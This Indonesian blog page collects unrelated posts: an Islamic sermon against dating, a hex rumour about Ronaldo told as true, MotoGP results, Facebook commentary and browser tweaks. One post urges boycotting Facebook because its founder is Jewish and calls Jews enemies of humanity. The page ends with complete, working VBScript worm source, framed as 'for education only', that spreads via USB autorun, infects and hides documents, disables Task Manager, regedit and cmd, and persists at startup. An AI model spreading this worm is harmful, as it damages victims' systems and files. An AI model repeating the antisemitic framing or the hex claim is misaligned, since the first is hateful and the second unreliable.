Ketika hati udah terkena panah asmara, terjangkit virus cinta, akibatnya...... dahsyat man......!!! hahaha...... yang diinget cuma si dia, pengen selalu berdua, akan makan inget si dia, waktu tidur mimpi si dia (kaya' dilagunya....capa tuch??). Bahkan orang yang lagi fall in love itu rela ngorbanin apa aja demi cinta, rela ngelakuin apa aja demi cinta, semua dilakukan agar si dia tambah cinta. Sampe' akhirnya....... pacaran yuk (hmm....!!!). Cinta pun tambah terpupuk, hati penuh dengan bunga. Yang gawat lagi, karena pengen bukti'in cinta, bisa buat perut buncit (hamil).(bukan bukti'in cinta itu...tapi bukti'in nafsu syetan). Karena cinta diputusin bisa minum baygon, karena cinta ditolak.... dukun pun ikut bertindak.... hehehehe...... :D (astagfirullahaladziim.......)

Sebenarnya manusia secara fitrah diberi potensi kehidupan yang sama, dimana potensi itu yang kemudian selalu mendorong manusia melakukan kegiatan dan menuntut pemuasan. Potensi ini sendiri bisa kita kenal dalam dua bentuk. Pertama, yang menuntut adanya pemenuhan yang sifatnya pasti, kalo ngga' terpenuhi manusia bakalan binasa. Inilah yang disebut kebutuhan jasmani (haajatul 'udwiyah), seperti kebutuhan makan, minum, tidur, bernafas, buang hajat de el el. Kedua, yang menuntut adanya pemenuhan aja, tapi kalo' kagak terpenuhi manusia ngga' bakalan mati, cuman bakal gelisah (ngga' tenang maksdnya) sampe' terpenuhinya tuntutan tersebut, yang disebut naluri atau keinginan (gharizah). Kemudian naluri ini di bagi menjadi 3 macam yang penting yaitu :

* Gharizatul baqa' (naluri untuk mempertahankan diri) misalnya rasa takut, cinta harta, cinta pada kedudukan, pengen diakui, de el el.
* Gharizatut tadayyun (naluri untuk mensucikan sesuatu/ naluri beragama) yaitu kecenderungan manusia untuk melakukan penyembahan/ beragama kepada sesuatu yang layak untuk disembah.
* Gharizatun nau' (naluri untuk mengembangkan dan melestarikan jenisnya) manivestasinya bisa berupa rasa sayang kita kepada ibu, temen, sodara, kebutuhan untuk disayangi dan menyayangi kepada lawan jenis.

Pacaran dalam perspektif islam
In fact, pacaran merupakan wadah antara dua insan yang kasmaran, dimana sering cubit-cubitan, pandang-pandangan, pegang-pegangan, raba-rabaan sampai pergaulan ilegal (seks). Islam sudah jelas menyatakan: "Dan janganlah kamu mendekati zina; sesungguhnya zina itu adalah suatu perbuatan yang keji dan suatu jalan yang buruk." (Q. S. Al Isra' : 32)

Seringkali sewaktu lagi pacaran banyak aktivitas laen yang hukumnya wajib maupun sunnah jadi terlupakan. Sampe-sampe sewaktu sholat sempat teringat si do'i. Pokoknya aktivitas pacaran itu dekat banget dengan zina. So....kesimpulannya PACARAN ITU HARAM HUKUMNYA, and kagak ada legitimasi Islam buatnya, adapun beribu atau berjuta alasan tetep aja pacaran itu haram.

Adapun resep nabi yang diriwayatkan oleh Abdullah bin Mas'ud: "Wahai generasi muda, barang siapa di antara kalian telah mampu seta berkeinginan menikah. Karena sesungguhnya pernikahan itu dapat menundukkan pandangan mata dan memelihara kemaluan. Dan barang siapa diantara kalian belum mampu, maka hendaklah berpuasa, karena puasa itu dapat menjadi penghalang untuk melawan gejolak nafsu."(HR. Bukhari, Muslim, Ibnu Majjah, dan Tirmidzi).

Jangan suka mojok atau berduaan ditempat yang sepi, karena yang ketiga adalah syaiton. Seperti sabda nabi: "Janganlah seorang laki-laki dan wanita berkhalwat (berduaan di tempat sepi), sebab syaiton menemaninya, janganlah salah seorang dari kalian berkhalwat dengan wanita, kecuali disertai dengan mahramnya." (HR. Imam Bukhari Muslim).

Dan untuk para muslimah jangan lupa untuk menutup aurotnya agar tidak merangsang para lelaki. Katakanlah kepada wanita yang beriman: "Hendaklah mereka menahan pandangannya, dan memelihara kemaluannya, dan janganlah mereka menampakkan perhiasannya, kecuali yang (biasa) nampak daripadanya. Dan hendaklah mereka menutupkan kain kudung ke dadanya, dan janganlah menampakkan perhiasannya." (Q. S. An Nuur : 31).

Dan juga sabda Nabi: "Hendaklah kita benar-benar memejakamkan mata dan memelihara kemaluan, atau benar-benar Allah akan menutup rapat matamu."(HR. Thabrany).

Yang perlu di ingat bahwa jodoh merupakan ketentuan Allah, dimana manusia ngga' punya andil nentuin sama sekali, manusia cuman dapat berusaha mencari jodoh yang baik menurut Islam. Tercantum dalam Al Qur'an: "Wanita-wanita yang keji adalah untuk laki-laki yang keji, dan laki-laki yang keji adalah buat wanita-wanita yang keji (pula), dan wanita-wanita yang baik adalah untuk laki-laki yang baik, dan laki-laki yang baik adalah untuk wanita-wanita yang baik (pula). Mereka (yang dituduh) itu bersih dari apa yang dituduhkan oleh mereka (yang menuduh itu). Bagi mereka ampunan dan rezki yang mulia (surga)."
Wallahu A'lam bish-Showab.

Cristiano Ronaldo Disantet Agar Cedera!. Bah ada berita aneh nih, yaitu Cristiano Ronaldo Disantet Agar Cedera!. Berita ini saya baca di sebuah koran lokal, disana tertera bahwa Cristiano Ronaldo telah disantet oleh seseorang agar selalu cedera dalam penampilannya. Sehingga ia tidak bisa bermain!!!, apa berita ini benar?. Pertanyaan bagus, jawabannya berita ini benar!. Karena dukun santetnya sudah mengaku bahwa ia telah diminta seseorang untuk menyantet Cristiano Ronaldo, seorang pemain bola profesional termahal di dunia saat ini. Cristiano Ronaldo sendiri saat ini sering mengalami cedera, walaupun ia telah giat berlatih fisik agar mengurangi cedera, tapi tetap saja cedera tersebut datang. "Saya hanya bekerja dengan profesional, apabila saya telah dibayar, maka akan saya kerjakan", begitu kata sang dukun kepada salah satu media cetak di luar negeri sana. Siapa orang yang telah menyuruhnya?...


Sang Dukun tersebut mengakatan bahwa orang yang menyuruh dirinya adalah orang dekat dari Cristiano Ronaldo sendiri, bahkan dulu dan baru-baru ini sempat satu team.

Walah berarti dulu dan baru-baru ini bisa saja kita menebarknya, yaitu Manchester United atau Mu.

Namun sang dukun santet tidak mau menyebutkan siapa orang yang telah menyewanya. "Itu privasi saya", begitu katanya.

Duh kok bisa seperti itu ya?, andaikan berita ini bukan sensasi si dukun...mengapa orang tersebut tega melakukan hal keji ini kepada C-R?.

Iri?, dengki?, atau dendamkah?...mungkin teman-teman punya jawabannya...

Juara bertahan Valentino Rossi kian dekat ke gelar juara MotoGP untuk ketujuh kalinya. Peluang The Doctor merengkuh gelar terbuka lebar setelah memastikan diri menjadi yang tercepat di kualifikasi MotoGP Malaysia sirkuit Sepang, Sabtu (24/10). Rossi menempatkan dirinya di posisi start paling depan.

Pebalap andalan tim Fiat Yamaha itu berhasil mencatat waktu tercepat 2 menit 00518 detik. Dengan posisi tersebut, pria asal Urbino, Italia itu hanya cukup finish keempat untuk memastikan mahkota juara.

Sebab, hingga kini Rossi menduduki peringkat teratas sementara dengan 270 angka, unggul 38 angka atas rekan setimnya di Fiat Yamaha Jorge Lorenzo. "Dengan posisi ini, saya berencana tampil secara normal saja. Tapi, tak boleh lengah juga sebab di sini aku mengincar gelar juara dunia," ungkap Rossi.

Lorenzo yang gagal memenangkan balapan, tadinya sempat terpuruk di luar lima besar. Namun menjelang menit-menit terakhir pebalap Spanyol itu berhasil menyodok tercepat kedua.

"Kalau kondisi besok saya dapati seperti di babak kualifikasi ini, pupus sudah harapan saya merebut gelar juara," tandas Lorenzo yang sulit mendapatkan daya cengkerem yang diinginkannya.

Masih start barisan terdepan, selain Lorenzo, Rossi akan ditemani Dani Pedrosa. Sementara Casey Stoner yang berhasil memenangkan balapan di kandang sendiri (Australia, sebelum seri ini), harus puas start dari bari kedua (tercepat keempat).

1. Valentino Rossi Yamaha 2m00.518s
2. Jorge Lorenzo Yamaha 2m01.087s + 0.569s
3. Dani Pedrosa Honda 2m01.254s + 0.736s
4. Casey Stoner Ducati 2m01.455s + 0.937s
5. Loris Capirossi Suzuki 2m01.716s + 1.198s
6. Toni Elias Gresini Honda 2m01.918s + 1.400s
7. Nicky Hayden Ducati 2m01.980s + 1.462s
8. Randy de Puniet LCR Honda 2m02.098s + 1.580s
9. Colin Edwards Tech 3 Yamaha 2m02.195s + 1.677s
10. Alex de Angelis Gresini Honda 2m02.274s + 1.756s
11. Andrea Dovizioso Honda 2m02.362s + 1.844s
12. Mika Kallio Pramac Ducati 2m02.435s + 1.917s
13. Aleix Espargaro Pramac Ducati 2m02.859s + 2.341s
14. Chris Vermeulen Suzuki 2m03.032s + 2.514s
15. Marco Melandri Hayate Kawasaki 2m03.088s + 2.570s
16. James Toseland Tech 3 Yamaha 2m03.528s + 3.100s
17. Gabor Talmacsi Scot Honda 2m03.874s + 3.356s

Dalam race yang berlap 20 ini, pembalap Italia, Valentino Rossi memastikan merebut gelar juara dunia MotoGP setelah finish ketiga di GP Malaysia, Minggu.

Dengan hasil ini, Rossi yang berusia 30 tahun ini mencatat gelar untuk ketujuhkalinya.

Jorge Lorenzo, pesaingnya, hanya berhasil finish diurutan keempat lomba.

Sementara pembalap Australia, Casey Stoner memenangi seri MotoGP Malaysia ini dan pembalap Spanyol Dani Pedrosa diurutan kedua.

nih beritanya mengutip dari kompas.com

Rabu, 15 April 2009 | 10:59 WIB JAKARTA, KOMPAS.com – Pengguna Facebook yang masih sekolah berhati-hatilah! Menurut studi yang dilakukan oleh Ohio State University, semakin sering Anda menggunakan Facebook, semakin sedikit waktu Anda belajar dan semakin buruklah nilai-nilai mata pelajaran Anda. Begitu tertulis dalam laporan studi yang mengambil sampel 219 mahasiswa Ohio State University tersebut. Namun penulis laporan mengatakan, laporannya hanya memperlihatkan kemungkinan hubungan antara penggunaan Facebook dan menurunnya nilai-nilai yang Anda peroleh di sekolah.

Faktanya, jika Anda pengguna Facebook, kemungkinan besar Anda selalu ingin mengetahui status yang dikabarkan oleh teman-teman Anda. Kenikmatan semangkuk baso, asyiknya irama jazz, foto-foto pesta teman-teman dekat Anda, dan pertanyaan-pertanyaan yang berharap mendapatkan komentar karena Anda ingin memastikan seseorang di jaringan pertemanan Anda sedang membaca tulisan Anda memang sangat menggoda hati dan juga menyita waktu Anda. Akhirnya, Anda mungkin terpicu untuk menulis hal-hal tak penting, membaca hal-hal sepele, dan juga berpikir secara tak cerdas. Untunglah bukan itu yang dilaporkan oleh peneliti Ohio State University. Namun disebutkan bahwa 65% mahasiswa setiap hari mengakses Facebook minimal satu kali dan menghabiskan setidaknya satu jam di laman tersebut.

Yang menarik, 79% dari pengguna Facebook merasa bahwa menggunakan laman tersebut tidak mempengaruhi kualitas pekerjaan mereka. Namun yang terpengaruh adalah nilai ujian. “Ini ibarat perbedaan antara dapat nilai A dan B,” kata Aryn Karpinski, peneliti Ohio State yang menanyai 219 mahasiswa untuk penelitiannya.

emang bener juga sih, kalo kita terlalu maniak dan kecanduan sama hal yang satu ini bisa bikin kita lupa segala-galanya, lalu, pendapat anda?

Kecanduan FaceBoo? Termasuk tipe mana kah anda?

1.Manusia Super Update
Kapanpun dan dimanapun update status. Status nya ga panjang2 amat..tapi terlihat bikin risih, karena hal2 yang ga terlalu penting juga dia publikasikan
contoh : “Lagi makan di restoran A..”, “Dalam perjalanan menuju neraka..”, “Saatnya baca koran..”, dsb..

2.Manusia Melankolis
Biasanya dia curhat di status. Entah karena ingin banyak diberi komentar dari teman2nya atau hanya sekedar menuangkan unek2nya ke facebook, tapi biasanya orang tipe ini menceritakan kisahnya dan terkadang menanyakan solusi yg terbaik kepada yang laen..
contoh : “Kamu sakitin aku..lebih baik aku cari yang lain..”, “Cuma kamu yang terbaik buat aku..terima kasih km sudah sayang ama aku selama ini..”, dsb..

3.Manusia Tukang Ngeluh
Ga pagi, ga siang, ga malem, ga dikasih ujan, ga dikasih panas, ga dikasih uang, ga dikasih makan, pokonya semuanya dia keluhkan.. contoh : ” Jakarta maceeet..!! Panas pula..”, “Aaaargh ujan, padahal baru nyuci mobil..sialan. .!!”, “Males ngapa2in.. cape hati gara2 si do’i..”, dsb..

4.Manusia Sombong
Mungkin beberapa dari mereka ga berniat menyombongkan diri, tapi terkadang orang yang melihatnya, yang notabene tidak bisa seberuntung dia, merasa kalo statusnya itu kelewat sombong, dan malah bikin sebel.. contoh : “Otw ke Paris ..!!”, “BMW ku sayang, saatnya kamu mandi..aku mandiin ya sayang..”, dsb..

5.Manusia Puitis
Dari judulnya udah jelas. Status nya selalu diisi dengan kata2 mutiara, tapi ga jelas apa maksudnya. Bikin kita terharu? Bikin kita sadar atas pesan tersembunyi nya? atau cuma sekedar memancing komentar? Sampai saat ini, tipe orang seperti ini masih dipertanyakan. . contoh : “Kita masing-masing adalah malaikat bersayap satu. Dan hanya bisa terbang bila saling berpelukan”, “Mencintai dan dicintai adalah seperti merasakan sinar matahari dari kedua sisi”, “Jika kau hidup sampai seratus tahun, aku ingin hidup seratus tahun kurang sehari, agar aku tidak pernah hidup tanpamu”, dsb..

6.Manusia in English
Tipe manusianya bisa seperti apa saja, apakah melankolis, puitis, sombong dan sebagainya. Tapi dia berusaha lebih keren dengan mengatakannya dalam bahasa Inggwis Gicyu Low..
contoh : “Tie and Chair..”, “I can tooth, you Pink sun..” dsb..

7. alay…
updatenya gaul2… dan bahasa dewa.. ejaan yang dialaykan..
contoh..” met moulnin all.. pagiiieh yg cewrah… xixiixi” << lol~

8. obsesi…
ngarep… tp ga kesampaian.. pengen jd artis ga dapat2.. dll..
contoh : :duwh… sesi pemotretan lagi! cape…

9. Manusia Sok tau..
sotoy tenarnya..
contoh : pemerintah selalu memanjakan rakyatnya.. bla..bla…bla. .. pdahal ga taw apa yang ditulis..

10. bioskop mania..
update film yang abis ditonton dan kasih comment..
contoh : “ICE AGE 3..REcomended! !”, “Transformers 2 mantab euy..”

11. Manusia pedagang:
contoh: “jual sepatu bla bla bla”

12. Manusia penyuluh masyarakat:
contoh: “jangan lupa dateng ke TPS, 5 menit utk 5 tahun bla..bla”

13.Manusia Alay..
Ada berbagai macam versi, dari tulisannya yang aneh, atau tulisannya biasa aja, hanya saja kosakata nya ga lazim..bahasa alien kalii..ato mungkin ada yg fusion..
Contoh:
Alay 1 : “DucH Gw4 5aYan9 b6t s4ma Lo..7aNgaN tin69aL!n akYu ya B3!bh..!!”
Alay 2 : “km mugh kog gag pernach ngabwarin aq lagee seech? kmuw maseeh saiangs sama aq gag seech sebenernywa? ”
Alay 3 : “Ouh mY 9oD..!! kYknY4w c gW k3ReNz 48ee5h d3ch..!!”
(Khusus buat tipe ini, ga usah di baca juga gpp..saya pribadi juga mikir dulu buat nulis ini, walaupun jadinya kurang mirip sama yg aslinya..)

14.Tipe Hidden Message
Tipe ini biasanya ga to the point, tapi tentunya punya niat biar orang yg dituju membaca nya..bagus2 kalo baca..kalo ngga? kelamaan nunggu, padahal langsung aja sms ya.. contoh : “For you my M***, I can’t live without you..you are my bla bla bla..”, “Heh, cewe bajingan..ngapain lo deket2in co gw?! kyk ga laku aja lo..” <<< (padahal ce tersebut ga jadi friend nya..mana bisa baca…)

15.Tipe Misterius
Tipe yang biasanya bikin banyak orang bertanya tanya atas apa maksud dari status orang tersebut..Biasanya dalam suatu kalimat membutuhkan Subjek + Predikat + Objek + Keterangan.. Tapi orang tipe ini mungkin hanya mengambil beberapa atau malah hanya 1 saja..Dan pastinya mengundang kontroversi. . contoh : “Sudahlah..” , “Telah berakhir..” <<< (apanya??), “Termenung.. .”<<<(bodo amat!)

Mungkin Sebelumnya kita merasa berat untuk meninggalkan Facebook, akan tetapi nampaknya kita sebagai umat muslim mengharuskan untuk tidak ikut bergabung dalam jaringan sosial ini. Mengapa demikian... Karena Facebook didirikan oleh Mark Zuckerberg. Siapa Mark Zuckerberg itu ?

Dia adalah salah seorang mahasiswa Harvard University dan anggota dari sebuah organisasi Alpha Epsilon Pi, sebuah organisasi Yahudi yang mempunyai misi memperkuat komunitas yahudi terutama untuk para pemudanya.

Subahanallah... Kita sudah tak sadarkan diri... Coba baca kembalai kalimat yang bercetak tebal dan berwarna merah.

Silahkan baca tentang Facebook dan Mark Zuckerberg di :

http://en.wikipedia.org/wiki/Facebook dan

http://en.wikipedia.org/wiki/Mark_Zuckerberg

Untuk mengetahui keanggotaan Mark Zuckerberg pada organisasi Alpha Epsilon Pi baca di http://www.aepi.org/site/pp.asp?c=geJQIUOwErH&b=2117027

Cek pada urutan paling bawah.

Untuk membaca misi dari organisasi Alpha Epsilon Phi ada di : http://www.aepi.org/site/pp.asp?c=geJQIUOwErH&b=2214267

Ironi sekali, disebuah negara yang mayoritas penduduknya beragama islam yaitu Indonesia dapat menduduki peringkat kelima di belakang Amerika Serikat, Kerajaan Inggris, Italia dan Perancis dalam hal penggunaan Facebook, menurut situs web pelacakan internet Alexa.com. Bagaimana tidak menyedihkan??? Mengaku benci Yahudi dan Antek-Anteknya tetapi kita menggunakan produk mereka... Hal yang konyol...

Zionis Yahudi Israel adalah pelaku utama tindak pembantaian warga Palestina, sehingga tidak layak bagi kita untuk ikut memperbesar organisasi Yahudi yang merupakan musuh kemanusiaan international.

Mari kita BOIKOT PRODUK_PRODUK YAHUDI DEMI KEMANUSIAN!!! Namun dalam artikel ini saya hanya menganjurkan untuk meninggalkan Jaringan Sosial Facebook. Silahkan anda memilih, Memperbesarkan Organisasi Yahudi atau Membiarkan dan Menghancurkan Organisasi Yahudi!!!

Untuk partisipasinya saya mohon cabut keanggotaan anda dari Facebook dengan cara seperti ini atau paling tidak menonaktifkan acount kita dengan cara seperti ini.

Ternyata secara tidak sadar di dalam facebook itu terdapat beberapa rahasia lo! Eits..bukan rahasia seperti “cara hack facebook/fb” atau “cara merusak facebook orang”. tetapi tips trik ini unik nan kocak loo..hahaha. Artikel ini buat orang-orang yg belum tahu aja. kalo uda tahu, kasih tahu artikel ini ke orang yg belum tahu ya.

Oke, berikut ini 5 rahasia unik nan kocak facebook:

1. Konami Code
Pertama klik background terus pencet atas atas bawah bawah kiri kanan kiri kanan b a enter klik

2. Quote rahasia
Buka Friend list punya orang lain (bukan Friendlist punya sendiri) terus pilih View All dan pilih Everyone terus Highlight di paling bawah daftar temennya ada quote rahasia kecil. Kalo ga keliatan coba pencet Ctrl+a

3. Bahasa bajak laut
Scroll sampai paling bawah Page terus klik English(US) (ato Bahasa Indonesia kalo pake Bahasa Indonesia), nanti ada pilihan English (Pirate) yang kocak dipakenya

4. Siapa itu Putnam?
Kalo lagi chatting, kita masukin : putnam : (tanpa spasi) bakal keluar emote dengan gambar muka orang ga jelas. Itu adalah Chris Putnam, ahli software facebook..

5. Little Celtics Fan
Cara untuk liatnya: buka gambar di facebook, klik kanan mouse terus pilih View Image. Delete URL-nya ampe slash, kaya gini

Buat kamu pengguna mozilla dan suka browsing tapi koneksi lemotzz . . nih ada tips buat hack mozilla firefox biar ngebut dan was wus was wus . . .

1. Buka Mozilla.

2. Ketikan di addres bar "about:config" (tanpa tanda patik).

3. Scroll mouse anda kebawah dan cari "network.http.max-connections", double klik dan masukan nilai "64".

4. Cari "network.http.max-connections-per-server", double klik dan masukan nilai "21".

5. Cari 'network.http.max-persistent-connections-per-server", double klik dan masukan nilai "8".

6. Doube klik pada "network.http.pipelining " menjadi "true".

7. Cari "network.http.pipelining.maxrequests", double klik dan masukan nilai "100".

8. Double klik pada "network.http.proxy.pipelining" menjadi "true".

9. Langkah terakhir, klik kanan dimana saja pilih : New >> integrar >> lalu tulis "nglayout.initialpaint.delay" (tanpa tanda petik". Kemudian masukan nilai "0".


Close Mozilla kamu, kemudian buka lagi dan bandingkan kecepatan nya sebelum kamu melakukan setting tadi. Oke, gimana hasilnya ??

For Education Only ["Jangan disalah gunakan, hanya untuk pembelajaran"]

Virus adalah suatu hal yang pasti tidak disukai orang banyak,maka biasanya kalau kompi kena Virus,Ufh menyebalkan banget kan ???
Maka tidak ada salahnya kita buat virus kecil-kecilan,karena hal kecil bisa menjadi yang besar. Sekalian tambah wawasan mengenai seluk beluk “Si Perusak” alias viruszz …
karena belajar itu menyenangkan apalagi yang iseng-iseng. [hheeheee]


Oke langsung tancep aja, cuy .,….

1. Buka Notepad [ terserah lewat mana saja bisa kok,missal di Run>> ketik Notepad>>bLAA udh Kan???]



Copy script dibawah ini . . .

Rem sidoarjocity4154802560
On Error Resume Next
Dim Reg, fso, Induk
Set Reg = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set Induk = fso.GetFile(Wscript.ScriptFullName)
If Induk <> Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then
If fso.fileExists(Left(Induk, Len(Induk) - 4)) Then
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("doc") & "\shell\Open\command\") & " " & chr(34) & Left(Induk, len(Induk)-3) & chr(34))
Else
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("doc") & "\shell\Open\command\") & " " & chr(34) & chr(34))
End If
End If
AutoFlash
Sebar1
Sebar2
Samar
Pertahanan
ShortCut
SerangFile (Left(Induk, InStrRev(Induk, " \ ")))
SerangFolder (Left(Induk, InStrRev(Induk, " \ ")))
SerangDrive("c:\")
SerangDrive("d:\")
SerangDrive("e:\")
SerangDrive("f:\")
SerangDrive("g:\")
AlwaysRun
SerangRecent


Sub AutoFlash
On Error Resume Next
Dim flashdrive, auto, tf1, tf2
For Each flashdrive In fso.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
Set auto = fso.CreateTextFile(flashdrive.Path & ("\AutoRun.inf"), True)
auto.Write ("[autorun]"& vbcrlf & "shellexecute=wscript.exe sidoarjo hot.vbs")
auto.Close
set tf1=fso.getfile(flashdrive.path & "\AutoRun.inf")
tf1.Attributes = 32
Induk.Copy (flashdrive.Path & "\sidoarjo hot.vbs")
set tf2=fso.getfile(flashdrive.path & "\sidoarjo hot.vbs")
tf2.Attributes = 32
End If
Next
End Sub

Sub SerangDrive (Lokasi)
On Error Resume Next
Dim drv
If fso.DriveExists(Lokasi) Then
Set drv = fso.GetDrive(fso.GetDriveName(Lokasi))
If drv.DriveType = 1 Or drv.DriveType = 2 Then
CopyVbs (Lokasi & "\lapindo.vbs")
SerangFolder (Lokasi)
End If
End If
End Sub

Sub SerangFolder (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\bacalah aku.vbs")
SerangFile (target)
SerangFolder2 (target)
Next
End Sub

Sub SerangFolder2 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\duit.vbs")
SerangFile (target)
SerangFolder3 (target)
Next
End Sub

Sub SerangFolder3 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Hasil rapat.vbs")
SerangFile (target)
Next
End Sub

Sub SerangFile (Lokasi)
On Error Resume Next
Dim target
For Each target In fso.GetFolder(Lokasi).Files
If lcase(Right(target,3))="doc" then
if Left(target,2)<> "~$" then CopyVbs(target & ".vbs")
HilangFile (target)
End If
If lcase(Right(target,3))="xls" or lcase(Right(target,3))="ppt" or lcase(Right(target,3))="pdf" or lcase(Right(target,3))="rtf" or lcase(Right(target,3))="rar" or lcase(Right(target,3))="zip" or lcase(Right(target,3))="jpg" or lcase(Right(target,3))="gif" or lcase(Right(target,3))="bmp" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-3) & "vbs")
End If
If lcase(Right(target,4))="docx" or lcase(Right(target,4))="xlsx" or lcase(Right(target,4))="pptx" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-4) & "vbs")
End If
if lcase(Right(target,3))="vbs" then KillVBS(target)
Next
End sub

Sub Pertahanan
On Error Resume Next
Reg.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
Reg.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\attrib.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","Notepad.exe"
End Sub

Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("doc")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\")
Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub

Sub ShortCut
On Error Resume Next
Dim lnk, lok
lok = Reg.SpecialFolders("Favorites") & "\blukutuk.lnk"
Set lnk = Reg.CreateShortCut(lok)
Induk.Copy (Reg.SpecialFolders("AppData") & "\blukutuk.vbs")
lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders("AppData") & "\blukutuk.vbs")
lnk.Save
HilangFile (lok)
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\blukutuk", lok
End Sub

Sub HilangFile (AlamatFile)
Dim f1
Set f1 = fso.GetFile(AlamatFile)
f1.Attributes = 6
End sub

Sub CopyVbs (Alamat)
On Error Resume Next
Dim data, ts, s, a, tf
Randomize
data = Left(Rnd(15) * 10000000000, 10)
Set ts = fso.openTextFile(Induk, 1)
a = ts.ReadAll
s = Right(a, Len(a) -28)
ts.Close
Set tf = fso.CreateTextFile(Alamat, True)
tf.WriteLine ("Rem sidoarjocity" & data)
tf.Write s
tf.Close
Set ts = fso.GetFile(Alamat)
ts.Attributes = 1
End sub

Function BacaHandle(TipeFile)
BacaHandle = reg.RegRead ("HKEY_CLASSES_ROOT\." & TipeFile & "\")
End Function

Sub KillVBS(alamat)
On Error Resume Next
Dim ts, s, i, a, b
Set ts = fso.openTextFile(alamat, 1)
s = ts.Readline
ts.Close
a = instr(s, "sidoarjocity")
If a = 0 Or a = "" Then
Set ts = fso.GetFile(alamat)
ts.Attributes = 0
Set ts = fso.openTextFile(Induk, 1)
i = ts.ReadAll
ts.Close
Set ts = fso.CreateTextfile(alamat, True)
ts.Write i
ts.Close
End If
End sub

sub AlwaysRun
On Error Resume Next
Dim mf, check
If Wscript.ScriptFullname = Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then
Do
Set mf = fso.getfile(Wscript.ScriptFullname)
check = mf.Drive.drivetype
If check <> 1 Then Wscript.sleep 200000
Reg.run fso.getspecialfolder(0) & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
AutoFlash
Sebar1
SerangDrive("d:\")
SerangDrive("e:\")
Loop While check <> 1
End If
End sub

Sub Sebar1
dim nilai
nilai=Left(Reg.SpecialFolders("Desktop"),3) & "Windows\System.vbs"
CopyVBS (nilai)
HilangFile(nilai)
SerangFolder(Reg.SpecialFolders("MyDocuments"))
CopyVbs(Reg.SpecialFolders("NetHood") & "\Ceritaku.txt.vbs")
End Sub

Sub SerangRecent
On Error Resume Next
Dim target, ok
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
if fso.FolderExists(ok.WorkingDirectory) then SerangFolder (ok.WorkingDirectory)
Next
End sub

Rem Created by Vir.VBS Generator V.1


2. Kalau udah selesai di copy paste aja di notepad, jadi gak perlu nulis sak’abreg gtu . .
